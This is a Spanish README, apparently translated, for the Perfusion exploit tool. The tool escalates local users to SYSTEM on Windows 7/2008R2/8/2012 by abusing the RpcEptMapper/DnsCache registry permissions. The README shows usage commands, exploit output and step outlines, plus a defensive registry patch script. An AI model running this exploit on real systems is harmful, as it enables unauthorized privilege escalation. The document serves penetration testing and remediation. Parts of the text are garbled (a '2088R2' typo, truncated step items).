
Exploit para la vulnerabilidad de permisos de la clave de registro RpcEptMapper (Windows 7 / 2088R2 / 8 / 2012)
En Windows 7, Windows Server 2008R2, Windows 8 y Windows Server 2012, la clave de registro de los servicios RpcEptMapper y DnsCache (solo en 7/2008R2) está configurada con permisos débiles. Cualquier usuario local puede crear una subclave Performance y luego aprovechar los Contadores de rendimiento de Windows para cargar una DLL arbitraria en el contexto del servicio WMI como NT AUTHORITY\SYSTEM (de ahí el nombre de la herramienta).
Esta herramienta está diseñada para ayudar a consultores de seguridad durante pruebas de penetración. Este software se proporciona tal cual, y probablemente no proporcionaré soporte. Sin embargo, lo probé exhaustivamente en tres máquinas virtuales diferentes, por lo que no debería haber ningún problema significativo.
Para más información: https://itm4n.github.io/windows-registry-rpceptmapper-eop/
Según 0patch, esta vulnerabilidad se corrigió parcialmente con la actualización de Windows de abril de 2021 (ESU). Esto significa que las máquinas que ejecutan una versión actualizada de Windows 8 / Server 2012 ya no deberían ser explotables. Sin embargo, Windows 7 / Server 2008 R2 sigue siendo vulnerable. Solo tienes que aprovechar la clave de registro Dnscache en lugar de RpcEptMapper. Actualicé el PoC para que puedas especificarlo manualmente con la opción -k.
⚠️ LEE ESTO ANTES DE USAR ESTA HERRAMIENTA ⚠️
Durante la fase de desarrollo de esta herramienta, observé dos comportamientos diferentes:
NT AUTHORITY\SYSTEM, en este caso el exploit funciona perfectamente.NT AUTHORITY\LOCAL SERVICE. En este caso, el servicio carga la DLL mientras suplanta al cliente. Resulta que aún es posible una escalada de privilegios en Windows 7 (debido a otra vulnerabilidad), pero el coste de implementación no merecía la pena.No puedo explicar esta diferencia porque mi código de disparo siempre era el mismo. De todos modos, en cualquier caso, deja que el exploit haga su trabajo para que pueda limpiar todo cuando termine. Si el exploit falla, aún existe la posibilidad de que funcione unos minutos u horas después.
✔️ Esto es lo que deberías ver cuando el exploit funciona:
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_2900_368_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[+] Exploit completed. Got a SYSTEM token! :)
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.
Microsoft Windows [Version 6.2.9200]
(c) 2012 Microsoft Corporation. All rights reserved.
C:\Temp>whoami
nt authority\system
C:\Temp>
❌ Esto es lo que deberías ver cuando el exploit falla:
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_636_3000_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[-] Exploit completed but no SYSTEM Token. :/
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.
C:\Temp>
Esta solución se compone de dos proyectos que deben compilarse en un orden específico. Todo está preconfigurado, así que solo tienes que seguir estas sencillas instrucciones:
Release / x64Build > Build SolutionPuedes ver el mensaje de ayuda usando la opción -h.
C:\TOOLS>Perfusion.exe -h
_____ ___ _
| _ |___ ___| _|_ _ ___|_|___ ___
| __| -_| _| _| | |_ -| | . | | version 0.2
|__| |___|_| |_| |___|___|_|___|_|_| by @itm4n
Description:
Exploit tool for the RpcEptMapper registry key vulnerability.
Options:
-c <CMD> Command - Execute the specified command line
-i Interactive - Interact with the process (default: non-interactive)
-d Desktop - Spawn a new process on your desktop (default: hidden)
-k <KEY> Key - Either 'RpcEptMapper' or 'Dnscache' (default: 'RpcEptMapper')
-h Help - That's me :)
Las siguientes versiones de Windows son vulnerables:
| Versión de Windows | Claves de registro vulnerables |
|---|---|
| Windows 7 | RpcEptMapper, DnsCache |
| Windows Server 2008R2 | RpcEptMapper, DnsCache |
| Windows 8 | RpcEptMapper |
| Windows Server 2012 | RpcEptMapper |
Hasta donde sé, esta vulnerabilidad no será corregida por Microsoft, por alguna razón. La mejor solución sigue siendo actualizar a Windows 10 / Server 2019, pero si no es una opción a corto plazo, aún puedes parchear este problema tú mismo eliminando el permiso CreateSubKey tanto para NT AUTHORITY\Authenticated Users como para BUILTIN\Users en las siguientes claves de registro:
HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapperHKLM\SYSTEM\CurrentControlSet\Services\DnsCacheCreé un parche para esta vulnerabilidad en forma de un script de PowerShell: RegistryPatch.ps1. Este script elimina el derecho CreateSubKey en las dos claves de registro mencionadas anteriormente para las siguientes identidades: NT AUTHORITY\INTERACTIVE, BUILTIN\Users y/o BUILTIN\Authenticated Users.
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Verbose
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
True
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Patch -Verbose
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: The new ACL was applied
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\INTERACTIVE" has "QueryValues, CreateSubKey, EnumerateSubKeys, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "CreateSubKey, ReadKey" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: The new ACL was applied
True
A continuación se muestran los pasos del exploit implementados en esta herramienta:
Temp del usuario actual.Performance bajo HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper y se rellena con los valores apropiados, incluida la ruta completa de la DLL creada en el paso 2.Win32_Perf para desencadenar la recopilación de Contadores de rendimiento de Windows.NT AUTHORITY\SYSTEM o NT AUTHORITY\LOCAL SERVICE.NT AUTHORITY\SYSTEM, su Token se duplica y se aplica al proceso creado inicialmente por el usuario en el paso 1.